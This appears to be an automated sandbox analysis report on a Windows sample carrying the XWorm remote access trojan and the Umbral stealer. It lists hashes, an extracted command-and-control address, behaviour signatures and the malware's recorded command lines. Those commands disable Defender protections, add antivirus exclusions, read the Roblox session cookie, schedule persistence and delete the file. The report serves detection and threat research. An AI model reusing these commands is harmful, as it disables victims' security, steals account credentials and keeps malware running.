Analysis

  • max time kernel
    141s
  • max time network
    143s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    05-08-2024 04:24

General

  • Target

    2f724138cbe4102823295fb51e7edb615b95a0eeae09434596e70f28bc0e64a9.exe

  • Size

    634KB

  • MD5

    8f27d14a78615dc0c6d100ca3f96a86a

  • SHA1

    3d267acd9ae52e0585e091826a57af1a53450ae6

  • SHA256

    2f724138cbe4102823295fb51e7edb615b95a0eeae09434596e70f28bc0e64a9

  • SHA512

    0af71aed92eda0f10cd435a542d3b6fbada85be89e4d94f5c029ee81b0c0167140cf801bfdaa816d479aa435741a337f827be61683ffd32367d1b1c2d276c7d7

  • SSDEEP

    6144:3kuuqTIKE3cPTWyG08SLGf5FKlunGth1mQVSomL3To7ovjqjvrKi5z5XThDLGfwk:3DuqhE3cPqy9uuunGtNSnP/OzHST

Malware Config

Extracted

Family

xworm

C2

by-thus.gl.at.ply.gg:35938

Attributes
  • Install_directory

    %Temp%

  • install_file

    SSPinstaller.exe

Signatures

  • Detect Umbral payload 2 IoCs
  • Detect Xworm Payload 2 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Xworm

    Xworm is a remote access trojan written in C#.

  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs

    Using powershell.exe command.

  • Drops file in Drivers directory 1 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 4 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 19 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 40 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2f724138cbe4102823295fb51e7edb615b95a0eeae09434596e70f28bc0e64a9.exe
    "C:\Users\Admin\AppData\Local\Temp\2f724138cbe4102823295fb51e7edb615b95a0eeae09434596e70f28bc0e64a9.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3668
    • C:\Users\Admin\AppData\Roaming\requestInstall.exe
      "C:\Users\Admin\AppData\Roaming\requestInstall.exe"
      2⤵
      • Drops file in Drivers directory
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:812
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" csproduct get uuid
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2924
      • C:\Windows\SYSTEM32\attrib.exe
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Roaming\requestInstall.exe"
        3⤵
        • Views/modifies file attributes
        PID:4948
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\requestInstall.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4220
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1040
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2524
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2636
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" os get Caption
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:3588
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" computersystem get totalphysicalmemory
        3⤵
          PID:3756
        • C:\Windows\System32\Wbem\wmic.exe
          "wmic.exe" csproduct get uuid
          3⤵
            PID:4496
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            PID:2784
          • C:\Windows\System32\Wbem\wmic.exe
            "wmic" path win32_VideoController get name
            3⤵
            • Detects videocard installed
            PID:2740
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Roaming\requestInstall.exe" && pause
            3⤵
            • System Network Configuration Discovery: Internet Connection Discovery
            • Suspicious use of WriteProcessMemory
            PID:4064
            • C:\Windows\system32\PING.EXE
              ping localhost
              4⤵
              • System Network Configuration Discovery: Internet Connection Discovery
              • Runs ping.exe
              PID:216
        • C:\Users\Admin\AppData\Roaming\SSPInstaller.exe
          "C:\Users\Admin\AppData\Roaming\SSPInstaller.exe"
          2⤵
          • Checks computer location settings
          • Drops startup file
          • Executes dropped EXE
          • Adds Run key to start application
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:5032
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\SSPInstaller.exe'
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            PID:3212
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'SSPInstaller.exe'
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            PID:1912
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\SSPinstaller.exe'
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            PID:4976
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'SSPinstaller.exe'
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            PID:2336
          • C:\Windows\System32\schtasks.exe
            "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "SSPinstaller" /tr "C:\Users\Admin\AppData\Local\Temp\SSPinstaller.exe"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:3656
      • C:\Users\Admin\AppData\Local\Temp\SSPinstaller.exe
        C:\Users\Admin\AppData\Local\Temp\SSPinstaller.exe
        1⤵
        • Executes dropped EXE
        PID:464
      • C:\Users\Admin\AppData\Local\Temp\SSPinstaller.exe
        C:\Users\Admin\AppData\Local\Temp\SSPinstaller.exe
        1⤵
        • Executes dropped EXE
        PID:1964

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\SSPinstaller.exe.log

        Filesize

        654B

        MD5

        2ff39f6c7249774be85fd60a8f9a245e

        SHA1

        684ff36b31aedc1e587c8496c02722c6698c1c4e

        SHA256

        e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced

        SHA512

        1d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

        Filesize

        2KB

        MD5

        440cb38dbee06645cc8b74d51f6e5f71

        SHA1

        d7e61da91dc4502e9ae83281b88c1e48584edb7c

        SHA256

        8ef7a682dfd99ff5b7e9de0e1be43f0016d68695a43c33c028af2635cc15ecfe

        SHA512

        3aab19578535e6ba0f6beb5690c87d970292100704209d2dcebddcdd46c6bead27588ef5d98729bfd50606a54cc1edf608b3d15bef42c13b9982aaaf15de7fd6

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        6317adf4fbc43ea2fd68861fafd57155

        SHA1

        6b87c718893c83c6eed2767e8d9cbc6443e31913

        SHA256

        c1ead17eef37b4b461cedc276504a441489e819c7f943037f2001966aeec90af

        SHA512

        17229aae8622e4bfc3caaac55684f7d4ccd3162af5919c851b1d8ac4060b6bb7b75044ecee116523d05acb55197dcb60780958f629450edef386f1e6f65f49f0

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        64B

        MD5

        8a424e81b5a6078deff05e153c04a0ee

        SHA1

        bf209de0dbc1dbe7c5b5b511bd34bf447a3c049b

        SHA256

        79ce6d6caea4a9eabf8fdbb2a1c58d43fb5a3c500c2dec3fce87c160d2c6bda3

        SHA512

        aa01195e5c1d641304b08fed4a3bffc916972aa0bc20e928204cef1783f38922a03b761cf2010ccbace1ea0d2f18cda4eaeee4d8969f32fbae5f580e4e38522d

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        944B

        MD5

        96ff1ee586a153b4e7ce8661cabc0442

        SHA1

        140d4ff1840cb40601489f3826954386af612136

        SHA256

        0673399a2f37c89d455e8658c4d30b9248bff1ea47ba40957588e2bc862976e8

        SHA512

        3404370d0edb4ead4874ce68525dc9bcbc6008003682646e331bf43a06a24a467ace7eff5be701a822d74c7e065d0f6a0ba0e3d6bc505d34d0189373dcacb569

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        944B

        MD5

        1fb15474bd9f6310d756d117c40b0e22

        SHA1

        3df1e642a910ef775a20ac3ba52583a99750e1c6

        SHA256

        e14714956a528d1f401de4025b49efedeef2dbb9b9f77580b74feaf77206dbb1

        SHA512

        2e486d5793dc15cd5c9c652e9aaabf4811149f1dce7cda81d54681581458a1897869ca58ad0b75aed1cd5fd0c87437742510b1df9c3cb3a5bd2c865ef3167af7

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        944B

        MD5

        22310ad6749d8cc38284aa616efcd100

        SHA1

        440ef4a0a53bfa7c83fe84326a1dff4326dcb515

        SHA256

        55b1d8021c4eb4c3c0d75e3ed7a4eb30cd0123e3d69f32eeb596fe4ffec05abf

        SHA512

        2ef08e2ee15bb86695fe0c10533014ffed76ececc6e579d299d3365fafb7627f53e32e600bb6d872b9f58aca94f8cb7e1e94cdfd14777527f7f0aa019d9c6def

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        944B

        MD5

        4a154efa7af25bb8b94d0d9c7b4f15cd

        SHA1

        5e0e04103e4eef1bc7ef242b730aed1958f98e1f

        SHA256

        c216eda372556eb78e680bde247c2fd2085642ee33031905a213c6bec502ccce

        SHA512

        fc4678133318fe1952947be74e244246336c7faacc9b9ae32336d57b106ec8f044e5db41dd98e8f3a54270ddacab2fc84a66d5d67deeadc3056ea5213bcbbba4

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        948B

        MD5

        b0dc7c3718882fe730dbbc1b681bfc49

        SHA1

        03a9c793855b3fc4a82d48a70841ab547cfb9943

        SHA256

        05b199d4f0d7025646593db4f3d2a22a44e4e64438668d34ec6a3a31afe249bb

        SHA512

        c927720f5387ba226136b57bce9fb7f37917478d42a466aa9b175561bb5aae6837f82b3b45a3b285460cecffd40742302ce607c58dea83b8a8704eef783c9601

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        276798eeb29a49dc6e199768bc9c2e71

        SHA1

        5fdc8ccb897ac2df7476fbb07517aca5b7a6205b

        SHA256

        cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc

        SHA512

        0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zik4itl5.sxk.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\AppData\Roaming\SSPInstaller.exe

        Filesize

        171KB

        MD5

        c9e72423dd94f42bf222d9a7fdb6eff9

        SHA1

        c724cd012c0c17a9222427d021fab0f3a0f25ac0

        SHA256

        8dcffd289f6b10088c345182b1d28ae492a3875b05af7f06dc0ff1d504461a16

        SHA512

        6265cfddc5320ef22954dae241a4988898ca6a80b48e1269f9b9df6ad22603dfd4f456d76b524062e904c00609ae9084728229872f8311120d9e71ed9db40b80

      • C:\Users\Admin\AppData\Roaming\requestInstall.exe

        Filesize

        338KB

        MD5

        4cd80597cf008592993ec6ec3780549c

        SHA1

        827a960dcc89c07cf8a80c97e2f2a281474d8c7f

        SHA256

        48c41a739d33db337ca33ab78b31e7bb13378508af1b2b8168594cc12268134b

        SHA512

        024fc64eaddc10370e64fe6531030e92a0c666c40737dccae071927c36fca86cb3c0828589014a6e3d1a108846e3bbde1be3c3afe2a996f9b843e9fb51b3b43d

      • memory/812-55-0x000002657CF90000-0x000002657D006000-memory.dmp

        Filesize

        472KB

      • memory/812-24-0x000002657A840000-0x000002657A89A000-memory.dmp

        Filesize

        360KB

      • memory/812-56-0x000002657D010000-0x000002657D060000-memory.dmp

        Filesize

        320KB

      • memory/812-93-0x000002657CF50000-0x000002657CF5A000-memory.dmp

        Filesize

        40KB

      • memory/812-94-0x000002657D060000-0x000002657D072000-memory.dmp

        Filesize

        72KB

      • memory/812-57-0x000002657CF10000-0x000002657CF2E000-memory.dmp

        Filesize

        120KB

      • memory/812-27-0x00007FFD07610000-0x00007FFD080D1000-memory.dmp

        Filesize

        10.8MB

      • memory/812-133-0x00007FFD07610000-0x00007FFD080D1000-memory.dmp

        Filesize

        10.8MB

      • memory/3668-1-0x00007FFD07613000-0x00007FFD07615000-memory.dmp

        Filesize

        8KB

      • memory/3668-0-0x0000000000A00000-0x0000000000AA4000-memory.dmp

        Filesize

        656KB

      • memory/4220-30-0x00000259A7FF0000-0x00000259A8012000-memory.dmp

        Filesize

        136KB

      • memory/5032-28-0x00007FFD07610000-0x00007FFD080D1000-memory.dmp

        Filesize

        10.8MB

      • memory/5032-161-0x00007FFD07610000-0x00007FFD080D1000-memory.dmp

        Filesize

        10.8MB

      • memory/5032-26-0x0000000000D40000-0x0000000000D70000-memory.dmp

        Filesize

        192KB